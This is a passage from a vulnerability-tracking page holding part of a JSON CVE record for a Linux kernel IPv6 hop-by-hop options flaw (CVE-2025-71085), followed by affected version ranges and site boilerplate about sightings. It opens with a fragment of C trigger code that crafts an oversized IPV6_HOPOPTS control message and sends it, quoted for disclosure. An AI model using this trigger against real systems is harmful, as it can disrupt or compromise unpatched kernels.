  cmsg-\u003ecmsg_level = IPPROTO_IPV6;\\n        cmsg-\u003ecmsg_type = IPV6_HOPOPTS;\\n        char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);\\n        hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80\\n\\n        sendmsg(fd, \u0026msg, 0);\"}], \"cpeApplicability\": [{\"nodes\": [{\"negate\": false, \"cpeMatch\": [{\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"5.10.248\", \"versionStartIncluding\": \"4.8\"}, {\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"5.15.198\", \"versionStartIncluding\": \"4.8\"}, {\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"6.1.160\", \"versionStartIncluding\": \"4.8\"}, {\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"6.6.120\", \"versionStartIncluding\": \"4.8\"}, {\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"6.12.64\", \"versionStartIncluding\": \"4.8\"}, {\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"6.18.4\", \"versionStartIncluding\": \"4.8\"}, {\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"6.19\", \"versionStartIncluding\": \"4.8\"}], \"operator\": \"OR\"}]}], \"providerMetadata\": {\"orgId\": \"416baaa9-dc9f-4396-8d5f-8c081fb06d67\", \"shortName\": \"Linux\", \"dateUpdated\": \"2026-05-11T21:54:27.272Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2025-71085\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-06-11T18:44:18.746Z\", \"dateReserved\": \"2026-01-13T15:30:19.649Z\", \"assignerOrgId\": \"416baaa9-dc9f-4396-8d5f-8c081fb06d67\", \"datePublished\": \"2026-01-13T15:34:48.324Z\", \"assignerShortName\": \"Linux\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}


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Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

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Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.